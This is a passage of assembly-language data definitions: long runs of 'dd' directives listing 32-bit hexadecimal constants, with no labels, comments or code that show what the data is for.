6C54E9h, 4498B88Bh, 9F00BBD9h dd 993C6C49h, 53BE09h, 50E96940h, 93F310A4h, 1F708C58h dd 61CFC6EDh, 13DCBC99h, 453DDF00h, 48D3C363h, 280ED4FEh dd 87030BAFh, 0ABE0AAB9h, 354853E8h, 6D4604C0h, 5CD065CEh dd 0B5FEFDh, 72607990h, 8E246EE8h, 4005B4Fh, 197DE00Ah dd 5D5C2C1Fh, 0A31C29h, 0F1729769h, 5800ABB0h, 7E95CDD2h dd 138D63h, 0EFB22589h, 927581D5h, 395CCA63h, 545002A1h dd 72C3B55Fh, 9E6DAB80h dd 9A3E0AA9h, 67B8ACAAh, 49009C17h, 0D01156CAh, 1CD7174h dd 1DD33959h, 0D5E7C4E5h, 2A15EC0Ch, 3B0F6F00h, 59E24531h dd 8EA43A6Ch, 26CB0580h, 12A37522h, 5C431C01h, 1852046Ah dd 0F45860h, 0A6FCC3Ah, 8D9FB775h, 2CF1230Bh, 6C900B8h dd 3B030DFEh, 7C807D20h, 4ABDC826h, 0E201882Fh, 0EC64AE2Bh dd 0C02BCD7Ah, 55014E2h, 10C03750h, 931FF917h, 0C288F500h dd 7E028320h, 8ACB2CEAh, 0F84400B8h, 0BC4095A7h, 8084013Dh dd 0A246B782h, 5C238Fh, 0E37EC85Bh, 0A0BB1322h, 6F59C409h dd 5830820Bh, 0FA44F0D9h, 31DCE318h, 71E90CDEh, 0D661CA6Dh dd 0C690C000h, 0EEC30D56h, 21A70FEh, 0C7E1C917h, 5C60CC7Bh dd 0C67E51EAh, 0BE6B223Ah, 4D681CC8h, 8A15AF01h, 0EEF0C3C4h dd 0E49B4D3Eh, 0DDE1400h, 2044EAD5h, 4BE7F41Dh, 75B18900h dd 7DC11BAh, 96831386h, 8FE4C24Ch, 0D7C4B9C0h, 0B6EAF019h dd 80BCEC50h, 1491048Ch, 0FC1DC8A0h, 0F84035F7h, 0B170E998h dd 0C8726037h, 7959E0CFh, 1AACB1D8h, 0FB603AC3h, 96ED6F0Fh dd 0FB8AA46Dh, 38AEE4A8h, 0DEB1500h, 0CEA2FA84h, 92E8C0h dd 0C54AACC9h, 4472547Bh, 0B3B818FCh, 585F3A01h, 6C5DDFBCh dd 1B870F0h, 26B495F3h, 0DF917ADCh, 0F15965C0h, 58CF9CF6h dd 0E7580C4h, 14C06139h, 0BC2913D8h, 0BE256F80h, 0F40752D5h dd 0BB4C9AE8h, 7832863Eh, 5FE220h, 0EDD742BEh, 3A83C290h dd 0D5CA3500h, 0BC801020h, 258700E7h, 1785D8D6h, 5E5ABA1Ah dd 6900801Eh, 0EEF92C47h, 0FB193916h, 0D0D509EFh, 2FDC4901h dd 80283674h, 0AD35E71h, 15A1AA7h, 0F1952651h, 0CCF5B41Bh dd 61E3443h, 0F827102Fh, 49896C75h, 5D435078h, 0E72DF101h dd 0C1B66E1h, 0D9FF8815h, 0EB4F2F00h, 0A34C0F31h, 0C0361C6Dh dd 15870FEh, 90C0C565h, 944FD893h, 10BD078Dh, 70376930h dd 0DE732A72h, 0EBFC7400h, 0D55EDB4Ah, 596E160Fh, 326A0021h dd 51788684h, 6138A218h, 7CD17C18h, 6D5B0133h, 0F72C3415h dd 7FD2E030h, 172C96F8h, 0FF004FC1h, 71767945h, 0AA8300BFh dd 0C9699ABEh, 780726E7h, 0A13A10DDh, 63DA009Eh, 1E88046h dd 5C576CBFh, 602615E6h, 36399F21h, 903D53h, 2965F470h dd 35A1FFh, 0B6D7D31Bh, 6E8413DEh, 39992003h, 0E0317775h dd 0F1FFD17Fh, 28BD1AF1h, 2DE31C80h, 0BE7CC8Eh, 0CF406607h dd 65A0A144h, 7BA7ABB7h, 429200B1h, 0DEA9AD61h, 58C0D037h dd 9D227ED6h, 92090776h, 1C6DE333h, 0FE386618h, 0B66A03B2h dd 0BEA746h, 55CB6C30h, 0AD6B2A32h, 0B97F9500h, 82147134h dd 1591CF3Dh, 0ADB6C9C0h, 0DEE69D0Fh, 2EBA2300h, 26C83249h dd 6E091C45h, 0FDBF8638h, 0AE18581Dh, 6407F29h, 5A9800D8h dd 0F6500B10h, 0E40061A8h, 88305C0h, 7918263h, 212BD9B7h dd 0A9F9A0A6h, 29602346h, 4E5B63D1h, 77B026h, 0D9381DFh dd 1EA26988h, 0B958C4F6h, 0D23D0055h, 173EEA1Fh, 0CBD51F64h dd 465C39h, 95072A74h, 5C0E8092h, 0A00E912Ch, 0B982BD15h dd 0B6A20032h, 0A04A277Fh, 65008679h, 4D0AB5C2h, 6DB9E0h dd 0EEBD168Dh, 8E1DE7C3h, 5403FB90h, 211A8F3Dh, 95DF0B4h dd 0BF8D0F0Bh, 0F64357DEh, 291198FBh, 0D3082879h, 63047293h dd 17025619h, 250523A3h, 0A5682806h, 2D72229h, 61884A76h dd 0D05A8890h, 0D009DB89h, 6D8032FEh, 1B7A8Bh, 69601F70h dd 0F4D20F81h, 0F93C0E00h, 0E1B55572h, 58EC005Fh, 60305E6Bh dd 42005066h, 31C1E8A0h, 0FCCFD111h, 0C2D900A6h, 4C1BBFB7h dd 0B924FE15h, 0CA00F95Fh, 0DC803108h, 992100C1h, 463B4A59h dd 0C500879Dh, 91189C7Fh, 0ECFFF9h, 88983E6Fh, 2B957CEFh dd 58DBF700h, 79C0AEDh, 6E0300CDh, 0A7351D78h, 0B5001FD3h dd 805D63ABh, 104199Dh, 6F966729h, 20331099h, 0B300BC2Ah dd 0D0798707h, 389CB5DFh, 0CC003520h, 946BAC19h, 0A20077ABh dd 53A9F1EDh, 0E2C8032h, 0AFD54D58h, 741E120h, 0FF0057C8h dd 6F1B492h, 695221h, 7D977613h, 81EF3442h, 56BAF800h dd 79AE78DCh, 72290085h, 83C845FBh, 20017A7Bh, 2A3EC2B8h dd 44200E1Dh, 0A2840003h, 0A3E847C7h, 0E20070B1h, 0C14515D3h dd 50B564Bh, 63DE9997h, 0D800BFDAh, 0AACB09B8h, 0FF8E0036h dd 1ED99D2Dh, 4D3D5F0Ch, 2EB580A5h, 0EA91E116h, 2DDF0362h dd 250574Fh, 3BC47490h, 0BAE04000h, 97BDDB64h, 71B7009Ah dd 75447095h, 130358E1h, 0CF1FDC0Fh, 0B129C008h, 0C5E022Bh dd 67D0FE48h, 3996D40h, 66A6C500h, 54B37A0Dh, 0EC4500B2h dd 37BA6862h, 0E0C02A90h, 331B8273h, 2D6F0002h, 1EE5374h dd 3800B749h, 540DF948h, 128EBF1h, 0C060B9D0h, 87708769h dd 0B518E460h, 0CFAC5B10h, 0C6222EB1h, 16143940h, 8006CF5h dd 6B5F4BFEh, 8F009D17h, 4DF2D9B1h, 1AABA07h, 21CB1A77h dd 819EC746h, 0D030A210h, 0FFF535F3h, 125D43E8h, 0FE4528h dd 2229E34Ch, 0EDF44963h, 0E42A0101h, 77D6E9ABh, 2C0B6E0h dd 4E5A696Ch, 966050A8h, 0D003E76Ah, 0A4DDAE0Fh, 0E309D988h dd 1472E8h, 7101EEFh, 0F7F4EA8Bh, 0B8009CEEh, 0C3F677BDh dd 38A3CE2Fh, 0A0CF9326h, 32755D2Ah, 764F4E0Fh, 0F8DA20E5h dd 706624F1h, 0D83307C2h, 10EE28B9h, 46E7D161h, 1B076C0Eh dd 0FD42CF72h, 7E5FCB40h, 40BD79Eh, 0EEEBC90Fh, 471889F0h dd 1CCAC0BCh, 3100F4F7h, 0E7A1D246h, 7EDB966Ch, 6FE600DFh dd 27645CBFh, 71003680h, 20EFFA90h, 420209h, 4318B9ADh dd 0DBDF17FFh, 3BF49200h, 21985113h, 5C03128Fh, 0C3841EF5h dd 0FB414891h, 7512DB80h, 4C933F0Fh, 0BD22E025h, 7CC957h dd 0F496E18Fh, 0AD282706h, 771A801h, 0DE94802Dh, 7CECDE8h dd 0B90276E4h, 0EE45E047h, 81010ED5h, 0C6F84ABCh, 19E4490Bh dd 94E50082h, 7AFDCA8Ah, 0FC001DBAh, 5E314D5Dh, 60560F54h dd 145A0A72h, 840EEA21h, 0A01A559Ah, 768DA261h, 1C4F0065h dd 0DB71B3EEh, 5E50747Fh, 6B0185F4h, 3ADE1BB7h, 1FDC4F14h dd 0C7B00017h, 2BB306A6h, 0AA076656h, 2A0F3A0Eh, 0B2C3D433h dd 0AF384071h, 445C00E7h, 0E115BEEEh, 67038817h, 5A9B99B6h dd 1A579871h, 0A777001Ch, 0C8027EACh, 2900B3E2h, 0F6B04ABEh dd 48B23194h, 0AE0047D6h, 6923CC8Fh, 3B783EACh, 0C53B501h dd 6E8297C0h, 1D379C20h, 40753878h, 0A79E0AEFh, 0DB00B293h dd 4331442h, 0A1D890h, 5DD3F15Fh, 9D2AF676h, 14DDD200h dd 0AE433517h, 14D54C4Ch, 7528902h, 5E40C2D1h, 360086F2h dd 0DCFD7924h, 7F4A75h, 7447CC5Dh, 709E207Ch, 0C5D7E300h dd 4CFC568Bh, 0CE2D00A8h, 0B23D6CC9h, 740035AAh, 0F30312E8h dd 139B128h, 192A1C55h, 0E842272Fh, 1A3FD03Eh, 0D19C0220h dd 60E0C0B4h, 713823Bh, 1671B985h, 0C160CFA9h, 0DE9DEEF8h dd 0F68C1138h, 0AF6A9A00h, 18CD475Eh, 0A64A1D3Eh, 853480E8h dd 909D2546h, 21019CF8h, 4144CE31h, 6CC2EC0h, 9FCAA0A4h dd 0E150038h, 33BCF342h, 721DD5DEh, 0FCC1040Fh, 0EBCB9399h dd 0F5C3FCh, 27AE0545h, 8C3EFF4Eh, 18BD7030h, 7621068h dd 8F64FBC4h, 660DB063h, 429095B8h, 331EEE77h, 0AD807B99h dd 0A480C177h, 0FAE91F23h, 69E38FB8h, 0E8BE56A0h, 5200364Ah dd 0A9EB4360h, 3BC1978h, 0C0493A3h, 0D2B00214h, 28008F75h dd 19F555A7h, 0DDDA7Dh, 0E7F2B51Dh, 0C3CBE19Ch, 21372207h dd 0F0D044E3h, 91B8AAh dd 8F6BBFDEh, 730A0E9Dh, 7D8D870Fh, 0EE71200Bh, 20DEB2Fh dd 0B027B157h, 9C80AE58h, 2B6D365h, 75E64318h, 0ED5434h dd 0AF214D0Dh, 0DE6BF888h, 1AE97B00h, 0C8CF4A33h, 1379C4h dd 0DCB0A08Dh, 0D86CF619h, 21BCE600h, 142F0542h, 316424D2h dd 5D800008h, 30997A79h, 9A894500h, 13C039DEh, 0C27E00BDh dd 4306DBCBh, 0A3FAF910h, 93894D0Dh, 0BB30202Ch, 867718C4h dd 85C51038h, 92A1750Eh, 2A0737D8h, 0D2B07802h, 2337DEAh dd 12A072F0h, 17E304ADh, 0F47861A9h, 7F00401Bh, 7168D0B9h dd 459F826h, 4E190AAAh, 2892C05Ch, 6A02EE7Dh, 34C0BE58h dd 0FAA848A6h, 0D01F0046h, 32E1D32h, 5071CD7h, 10B336E3h dd 0C8740049h, 27B834h, 8C4B3A2Bh, 353308B2h, 5C01F724h dd 723E6100h, 5BBDF5h, 6AEFC1F1h, 59806532h, 0BED83D00h dd 0EEDFA41h, 1B390971h, 0A88069E6h, 5CFC2A70h, 63952500h dd 904D3633h, 7EA7504h, 576CE2F5h, 4620E0FAh, 0F7033B10h dd 73118B97h, 4AD1D0C2h, 8A507A9h, 83797857h, 7A88C49Ch dd 0DC0110BBh, 1274232Eh, 98E0F7EDh, 0EE4D0016h, 4FA8BD9Fh dd 8239861Eh, 0A2220163h, 0DDF8958Ch, 7B00370h, 31E0EDCEh dd 0E93E80B9h, 1BF0FC47h, 7EF44Ch, 97FADDD0h, 69D6F8h dd 3017F2DBh, 17ADA66h, 0FD00B4FAh, 0DCF89684h, 1C6732Bh dd 7772803Dh, 80D85D75h, 4BB8F690h, 62C209h, 3F4C42A6h dd 8B3B2FAAh, 6408F900h, 732A3DB9h, 121A0028h, 6BE41E8h dd 8E00C30Dh, 63156E80h, 78A965Ah, 0F693ABB7h, 58DC1C6Fh dd 3523C100h, 7D987F0Bh, 0FB7A2Ch, 0D553DF79h, 4CBD0567h dd 0FA006D73h, 0AA9B2E11h, 783F22h, 577A8E08h, 0EE310F04h dd 28EF7F3Dh, 0F82EC0DEh, 0B0009DF5h, 6BAB873Dh, 42BE0037h dd 0DC832E03h, 6DFE6C23h, 0C80DAE03h, 0A07A54F6h, 30928096h dd 176AA19Dh, 0FB1F5E95h, 0D8E9A80Bh, 87827D00h, 3168CCh dd 0A65EEE37h, 88FF2F6Eh, 0DD921701h, 18696744h, 0C751E940h dd 0F5BE0079h, 0DF031CC6h, 4500A5C8h, 0BCA2D5Dh, 34559Eh dd 1DB24C3Ah, 57D1B998h, 621F3805h, 0AAC0B3CDh, 1E7C4Bh dd 0BD49A6D7h, 0BCFB1B4Ah, 41D5824h, 801AC700h, 0B9E767h dd 0EB37020Fh, 39ECFB27h, 0BC46A900h, 0EF219AC8h, 956500CFh dd 9FB8F902h, 0DA745790h, 64308800h, 1BC75DD9h, 0D3D00537h dd 80EF2AB1h, 4D813F66h, 742CA91Eh, 0BF3E6E44h, 0F89F6483h dd 56A0D6h, 0F8E44BACh, 8B2AF183h, 7109D100h, 3283205h dd 0FB750061h, 78C3D75Ah, 0FC005BEDh, 0E9191363h, 0ECD017C4h dd 5C1B0021h, 96912C9Dh, 0EC00C5A5h, 387BAFADh, 703579BEh dd 0F8C92820h, 994800F7h, 0B0305FFh, 66015241h, 23894FA7h dd 57F4816Ah, 773001A1h, 985D90D3h, 16C5FC09h, 3417BAEEh dd 16001FCBh, 9AD337C4h, 1CC9048h, 0E8FBB2B4h, 215A211Bh dd 0DC60E2DCh, 16EE0ECFh, 7B14851Fh, 744E694Ch, 0F0020465h dd 807EF503h, 85A28190h, 2488E700h, 3CA9CD59h, 0E6770095h dd 4580ACEEh, 0F800684Ch, 8C55F9FAh, 7F53302h, 0AE29A137h dd 7C178070h, 6700B0BEh, 1C8F10EAh, 0F2C639E1h, 0B26939CFh dd 82E99F00h, 0A289432Fh, 0F4AB8809h, 8D4C0005h, 387E37C7h dd 0F7035659h, 75C383F0h, 9B06C870h, 33486D3Bh, 7A921F6Ah dd 7798407Bh, 6243E189h, 9CEBB07h, 4BF03560h, 16D668A2h dd 528C9Ch, 3C1490B2h, 5600D078h, 5812E60Ch, 0DC3710h dd 23989EAFh, 20F0D517h, 1151E40Fh, 8E3DE0F2h, 0EAE1FB8Fh dd 0AA89001Fh, 5C47194Ch, 0B21EB397h, 0E51453E2h, 0C22600A4h dd 0B7FA7D50h, 0F4E6005Dh, 0FC625127h, 9498BF34h, 0B33B4A00h dd 9711E298h, 0D921478h, 6A008C58h, 0CD7B9A4Dh, 173C22A2h dd 2EF88712h, 18C00FDFh, 2D77Dh, 0D84FE7Bh, 50AEB9A4h dd 9327C100h, 77228FE8h, 32BE0E0Fh, 68807E8Eh, 84452660h dd 3C14E1Fh, 42D00C0Ch, 0AD1303BFh, 820BA13Ah, 990098C6h dd 0FDF029AEh, 58B3572Dh, 0AD00B3C0h, 0A2EE3BE3h, 1F0065A6h dd 0C1C43926h, 7EB0A70Dh, 1CAD2CF8h, 0C21E3Dh, 97F0919Ah dd 11032998h, 38B8871Eh, 0F86CE809h, 3EA00067h, 0B92B4D82h dd 3B0019C2h, 74F18EE5h, 5F79D3h, 2439F52Ch, 5EE425E3h dd 0AC1D4900h, 66D4D25Dh, 4026005Bh, 0B39597F1h, 8C00D847h dd 3583AAAFh, 0FE532144h, 0D9FF00A3h, 9F774FEAh, 5E00814Dh dd 35C557EEh, 0B61DBB6h, 66F7601Bh, 0C3697A80h, 45057ADFh dd 0C625936h, 0A1009884h, 962EF1BDh, 4CC374F3h, 0DD00148Ch dd 8E9C4D87h, 0B475BAB8h, 0AA2CCC00h, 1DC70430h, 32911C28h dd 0B9C647FFh, 108DF079h, 90003E22h, 0E9F95E9Ah, 0EA6A7602h dd 8B310142h, 5FE3630h, 0B46D3008h, 74974700h, 0D80B2922h dd 0E4907Ch, 0BF8DB86Bh, 69832348h, 0A9AECF1Eh, 9596FEC0h dd 7D70E2h, 0A2FF7A5Ch, 0E1722C02h, 15781B77h, 0F6EEA100h dd 0F18B1A41h, 0EB74040Fh, 0C053016Dh, 0A558B781h, 82656300h dd 3B6BAF1Dh, 0DC0C5834h, 0EFDC1Dh, 1F2DBEB5h, 0A31D42DDh dd 0E98EAB7Dh, 9ABB00BAh, 176AE1E4h, 0EDE4AB0h, 1F4FE61Bh dd 0A6F77180h, 2E00EDE0h, 0D6DB2131h, 0A94390h, 6A7DD47Ah dd 7F2809C6h, 5B128D0Fh, 0F85A87C1h, 5918A32Bh, 0EFD7B84Fh dd 0CCA107A0h, 5BC1BE95h, 7F711000h, 1CE041B7h, 0F42C0100h dd 996857C8h, 0E3FA1D77h, 0D5968189h, 0F864C986h, 6C0076C5h dd 0FD5CE805h, 0BE046Ah, 30829AA6h, 78688DA8h, 3A461724h dd 2C41BF1Dh, 0F0B66723h, 5800FC22h, 0CFF7F656h, 4100773Eh dd 66534523h, 1DFA7Bh, 35B09CD0h, 0A6BF3D83h, 1C28CC58h dd 96C32807h, 984B179Fh, 0B96D11h, 2B89F8D3h, 9DD1B1F7h dd 75241FB8h, 9B015AA3h, 59490384h, 6D2520h, 5D10DE9Eh dd 2F29D6A5h, 8EB12200h, 78B09D96h, 0D57BACh, 9FC0A90Fh dd 362FD918h, 0AE0E7401h, 6CCECDD6h, 1391A864h, 44E9FC8Fh dd 0C07007A0h, 6FCBEE43h, 51C5D100h, 9524AE43h, 0B8324CBDh dd 9A1AF301h, 0D0398949h, 2D07A7BEh, 548A6FBCh, 284585E1h dd 9FD070h, 0DBC91503h, 8F969E19h, 182FFE12h, 0F2AFAF00h dd 0FE30B39h, 0D2400E5Dh, 0A7FD0400h, 2102D7E9h, 0B9DF0FA4h dd 60909228h, 0EF7B128h, 2E5E66EDh, 57E01BA0h, 5D00BF4Dh dd 6AF0FC15h, 3E8C7A3h, 3314EC7Fh, 79B0FF6Fh, 0B3006663h dd 8E344B78h, 0A415A3h, 21B5B8F0h, 1602F831h, 9D38EB00h dd 17CD4597h, 3A60947Dh, 0AE713380h, 809FF003h, 0A8EA4Ch dd 5274983Fh, 0E2A7B0BDh, 0DB6030F2h, 39712004h, 51EE3A00h dd 0DFFA9774h, 0CB9D00BAh, 0F17AD759h, 0A898045Bh, 3DE143Ah dd 1A6207C9h, 3971092Eh, 84074B88h, 0E5651E16h, 60142E0Ah dd 6934F008h, 7EDA00D5h, 9975F6B0h, 213B2F8Dh, 0D368214h dd 0C9596F96h, 52C4F134h, 0E38B00BCh, 50E7D564h, 0BFB0DA87h dd 85CAE800h, 9EC688CBh, 0BD0E07ECh, 253C171Fh, 0C5C4908Eh dd 4601162Fh, 0BEAAE565h, 0EED02A7Ch, 0B0D601DFh, 865023A6h dd 49C820F8h, 8B5F5D00h, 2BC34888h, 29460292h, 0A075AB55h dd 276F5C60h, 0ACA2A400h, 0E7B582E6h, 8E9B1E4Bh, 434E8336h dd 0C9F0C761h, 5E009587h, 5740C6C8h, 31D9F6Bh, 33E7D1F3h dd 43A814C5h, 2700D38Ah, 0ACA9353Ah, 0EC4E0BD9h, 9C1707BCh dd 0DD02ECh, 88EA9AF2h, 39647C0Eh, 23F08005h, 1D6B0FF3h dd 81031A27h, 314B696Fh dd 0A18A30ADh, 0B2509700h, 6110BFECh, 46E30003h, 0E8B07BC4h dd 181C11B8h, 509EC3D3h, 4E600F38h, 98918AFBh, 30D27B02h dd 0D68141C0h, 0A190BF0h, 0ACEB7E34h, 78E401C8h, 800CB4E7h dd 0BDEF2A31h, 769BCDAh, 96C4880Fh, 8FF043ECh, 0D0CC2000h dd 0EE0897BAh, 51460023h, 77C21204h, 14922F80h, 31B59800h dd 88525787h, 963700A0h, 27FB2011h, 8B4AA4F3h, 0F27A7000h dd 487D9C9Bh, 6A00B693h, 8BCA27FCh, 0DC12462Dh, 38408040h dd 24C5DA31h, 949E0307h, 36D74C2Eh, 4900CBA3h, 7D3F9DCAh dd 0F78FE23h, 0A5901044h, 0C2BB0205h, 8080CBAEh, 709CBFCFh dd 0DAA97967h, 4FEE4E10h, 597B07DDh, 437AD60Ch, 2014CA3Fh dd 0A6F508h, 0EF390F02h, 0E2E923h, 481D3E78h, 0C67E3362h dd 0EE753A00h, 3863E0D5h, 3CDE07D9h, 0B021BF91h, 24D00E8Fh dd 6700FA7Eh, 65A9100Dh, 0E285BA60h, 3F9F00A0h, 6FF94F84h dd 53E80536h, 64206D60h, 0FAAED7h, 0F3A842Ch, 0C014126h dd 1276D900h, 17ED88C8h, 3EFB003Fh, 0E686BA93h, 360299EFh dd 0A4B31B4Ah, 3862F069h, 73350B4Dh, 0C0C01F59h, 0DB897DEBh dd 0B43C3721h, 52AB801Dh, 9929A29Eh, 84D200EFh, 4D466086h dd 20A7305Dh, 2D1CAA81h, 6012A505h, 4E917495h, 2CF7A580h dd 5837817Bh, 62911888h, 5A87E93Dh, 90521985h, 796E3B46h dd 0DFCCAA02h, 0A0123364h, 61A1FB34h, 40F62147h, 1600E191h dd 0E299AED2h, 560B326Bh, 86D96589h, 371673Ch, 41109887h dd 4BC0C3CAh, 18C0D672h, 0E95B4065h, 469300FFh, 76EF8B7Eh dd 2B308883h, 357A20B7h, 73D312E9h, 0E5E403C1h, 0CC80F48Ah dd 820EE43Dh, 813401DCh, 0EC17D148h, 11E8BC8h, 70BD933Fh dd 87B8D9F0h, 4AE5AA48h, 2E636C50h, 0A1E00061h, 99E1FE17h dd 1950698Ah, 23195EECh, 37F8AA54h, 2D10CDCh, 496CFB9Eh dd 88A82133h, 71C42190h, 0F4581857h, 724A00E3h, 0E97A0D87h dd 95546D0Fh, 34E8AE84h, 68C7053h, 92825EA2h, 8C885206h dd 7D072C22h, 0F623EA74h, 62DD270h, 0FE790015h, 67F94149h dd 0CD2AC7CBh, 2B0DC063h, 91776DCCh, 322C5E0h, 276A16F7h dd 2F911E54h, 806CD153h, 9309421h, 1CF5814Ch, 721D0h, 27577F3Dh dd 43008C37h, 2A729D52h, 50E223CCh, 4DC2C8Ah, 17554CF7h dd 6F513119h, 4623600h, 0A936007h, 3CA0B79Bh, 0E22B65h dd 0F56476D5h, 8685E3A0h, 70FFDA00h, 6179DC95h, 0B3401222h dd 234C2FDEh, 0A9700053h, 0AA8F8D6Eh, 0C4437814h, 5A6000A0h dd 55ECA3BBh, 236B0761h, 4356693Dh, 2007A6DFh, 0A5A343B9h dd 343FCAA1h, 0EA47D9DCh, 8B3D300Fh, 8C062C60h, 0E8D2AB00h dd 0F1DC9FC1h, 0F9D355Dh, 0A140821h, 68A1FEC0h, 53E2140h dd 32BCFA95h, 852EB0BBh, 98006E87h, 1AB0211Ch, 0CBAD0482h dd 90128A19h, 41060900h, 2687B400h, 0E21FB9ACh, 212C01DBh dd 9E8593D8h, 0BAC98012h, 1470B3Eh, 91C400D4h, 3B26882Fh dd 0D77BCE87h, 4C0DC3F0h, 0B93E0F0Bh, 456EC280h, 0D19E448Eh dd 0B8D3F512h, 76604C40h, 0EDD5DFh, 4AD18A6h, 6786F4A7h dd 285088h, 0D566B37Eh, 1B97F0D9h, 0D7E25D00h, 1C5F7581h dd 48A04853h, 25017423h, 3F4D13F7h, 23892018h, 4B09F0h dd 294263C1h, 79245B2Bh, 45E62500h, 22990CA7h, 0D7F83073h dd 2FCCF730h, 4C623D28h, 4DA4AB00h, 0D5E438BDh, 89DA1FAEh dd 5FBCC02Ah, 7B640B93h, 71CE6EEAh, 0A3A4206Bh, 24BCDF6Ch dd 64A45D2Dh, 0F737606Ah, 2F4D10A1h, 6149C453h, 9312501h dd 9063148h, 0B490D2C8h, 0F800A3D4h, 9189DCF2h, 3CF1DFF4h dd 860B1B4h, 3EAA3C92h, 10731024h, 0B59DB880h, 17ECDE24h dd 691B35h, 6AA9AB94h, 0D713B145h, 64180E50h, 65C3EB68h dd 958A95Eh, 0D8058FE9h, 28602067h, 4D10B8F7h, 3BCC5637h dd 3E002221h, 0B241A309h, 1B55AF0h, 0A9E06245h, 0EF3218A0h dd 0E3FBB6A0h, 64B7B426h, 186F0242h, 343EE960h, 407DC698h dd 0D2032FB8h, 8740F3E9h, 0BB579867h, 98CF2411h, 81D443D4h dd 6FF0289Bh, 7C07F7C8h, 0EB07549Fh, 2CD271A4h, 0E244652Bh dd 0ED18613Dh, 2343003Bh, 0BD82524Bh, 3512FA25h, 9C5EA03Dh dd 1F57F605h, 41B50891h, 0B2C69C50h, 9BA4076Eh, 805526A7h dd 7CA8CEB4h, 0DE4CDD90h, 65996160h, 0FC521087h, 0C0406D1Ch dd 667095DCh, 5DB7C907h, 2A10EB87h, 0C005B285h, 9E1C3729h dd 941ED141h, 0A512B3FFh, 90813470h, 23C00732h, 1094F0D5h dd 0C29CB2E4h, 7F78E160h, 62A8E03h, 0DE082B9h, 331A3E28h dd 0C740620Ch, 60524408h, 0F498CEh, 0C5BE7671h, 1D82CA6h dd 5650E274h, 0F004DF2h, 9B442F2Dh, 3BE89562h, 7878CC6h dd 2391C24Fh, 11009C1Dh, 0BF480674h, 0E652D83h, 640585A4h dd 4521518Ch, 0E71ED51Dh, 0C18D62C0h, 0CAC226h, 8139EBAh dd 0A1C4944Fh, 0DC906D3Bh, 19620014h, 0CA9C4D06h, 82F10DB9h dd 9F289210h, 66C05550h, 4421533h, 0EA9C0293h, 20C6E7B0h dd 76FD1C60h, 0ADD0F70Eh, 110092F9h, 8C3AC3Eh, 507B7A69h dd 94CB75h, 0E2FC3C90h, 0A180C126h, 334CD39h, 46ACB21Ah dd 0D003D8BBh, 2F14042Ch, 0FF09665Fh, 10D8A400h, 7E6E5B3h dd 81126750h, 0C02274D6h, 0A456BEA9h, 0C6329D00h, 16C702B3h dd 9E2005Fh, 0E1E9E58h, 0CB003CB4h, 0D1B6DE40h, 3241CA9h dd 0AD8B6769h, 0B2E870A0h, 0FC0062A6h, 0D8509295h, 5CE7B878h dd 88058931h, 99F023h, 8D556AD9h, 30033979h, 842276Fh dd 76D9086h, 7F9A03D5h, 7A820E34h, 60446FE8h, 0AA81B204h dd 6380C324h, 26B12E22h, 30D65Eh, 0C6FB754Fh, 0B301A245h dd 11EB72F9h, 0B9ED16CBh, 0D59E8180h, 3004A3ABh, 0AC1C5401h dd 5CD27A44h, 0A8E04183h, 0A201C2BDh, 5628CA35h, 9F16F90h dd 93F94080h, 330CFEBCh, 0B9D72A01h, 7D6A5775h, 3E635810h dd 9407F000h, 4381F79Bh, 84980018h, 19A1324Ch, 8132752h dd 7F0FD29Fh, 39DAC0ACh, 3625A9h, 5C86FEDEh, 0B66B679Dh dd 0E7C42200h, 0C9271040h, 92A305E9h, 41501D3Fh, 812C02A0h dd 7369D4CBh, 4000DAF6h, 479326E8h, 0F8CD07h, 0F4DFF9A7h dd 2A12A9E2h, 5C0077FAh, 8415DC7h, 9555F2h, 0F44D36D3h dd 5E5B1E79h, 0EE79E00h, 0A7B0FCA6h, 41D90E50h, 92E21A5Fh dd 0CCE04301h, 0C1C05786h, 8F795A44h, 4EDD0711h, 0C7059FDEh dd 0FBC7C03Bh, 0A4005090h, 1451A8EAh, 30392E6h, 72E993D1h dd 0F7909CCFh, 520075F0h, 2351398Fh, 0E42026h, 0C497FDF3h dd 751F3FDEh, 80A9893Eh, 6F184151h, 6CE53A2h, 15A79F27h dd 120040E5h, 0FFC65FF1h, 39DFD52Ah, 760035C2h, 0BA4964ABh dd 180038F9h, 0EA020E12h, 7A4CA79Ah, 80CC5469h, 49AE3A37h dd 7FFFA100h, 0B27A9628h, 0E7E839ECh, 2A740F00h, 3212276Bh dd 604390E8h, 5A961884h, 1B00D1D2h, 4B06FBF7h, 0E8FC2BFFh dd 4421CF9Eh, 4082CF8Eh, 0D5404FE0h, 8D0CF9E9h, 682742D3h dd 88FDFEE7h, 0D000A77h, 67C36B4Ch, 79BA3EBBh, 0B1BC1820h dd 477A50EAh, 8CD69700h, 0BBB7957Dh, 6A5C3A2Ch, 5008D22h dd 0A0F3D694h, 0B28907h, 2A218E5Dh, 0F9F2D064h, 4C3E9C05h dd 0D4C1B98Fh, 14D46677h, 2B460372h, 17950696h, 0CFA703D0h dd 98799130h, 3F8D3B3Fh, 0F5882Ah, 44B336D7h, 0E5C9912Bh dd 9B16B800h, 95B068F4h, 0CA0B05E6h, 38D2F84Ah, 0D846E320h dd 0E6FFA20Ch dd 0A77659E1h, 0F1B43152h, 20CDC65h, 6998E300h, 0E88329C4h dd 0AD5D009Eh, 0B7BA9626h, 731E3254h, 0AC9D69A8h, 7C595B00h dd 74979B21h, 7EDC0783h, 8052A954h, 9A0B79EAh, 20AC5A00h dd 3DDD2296h, 0CC16064Ah, 9878138Ah, 96DC9754h, 0C7D704A5h dd 671AD092h, 3C4866B1h, 791F0034h, 0F7E5A36h, 0AFAE0E85h dd 0C07DDD2Bh, 0D99739EDh, 281DBB6Fh, 29B1A11Ch, 0EF10B3F1h dd 558007CBh, 0EB298870h, 88AC3D88h, 0A1885F3Ah, 421F8972h dd 1482E928h, 5D2261CAh, 9DFC2271h, 0E0203524h, 0C9810872h dd 0A1843E08h, 2888AEBEh, 45949948h, 92F81164h, 3414ED28h dd 83795D12h, 2811A407h, 1922C630h, 0C03E0CF2h, 0C3908015h dd 0EEF29411h, 0B3920018h, 0DA9C0FF7h, 0E30026F8h, 454B340Ch dd 0AE2BDEh, 0E9376D46h, 193A5B69h, 3F9A7B00h, 7CF6C4BEh dd 0ECF6F7h, 2586020Fh, 7EB62359h, 54026673h, 1C04306Ch dd 61E07DF3h, 0BB00CBE0h, 0FB9ECD6Eh, 1B0C11h, 0BDDA14Ch dd 0EF72C5CEh, 0E500107Ah, 0D188BD37h, 0EA54C1B1h, 5A781Ch dd 145F3271h, 0A83DF85Ch, 2D1D5300h, 695B7391h, 0D63509F5h dd 18002347h, 0F69D86A6h, 5DC8D900h, 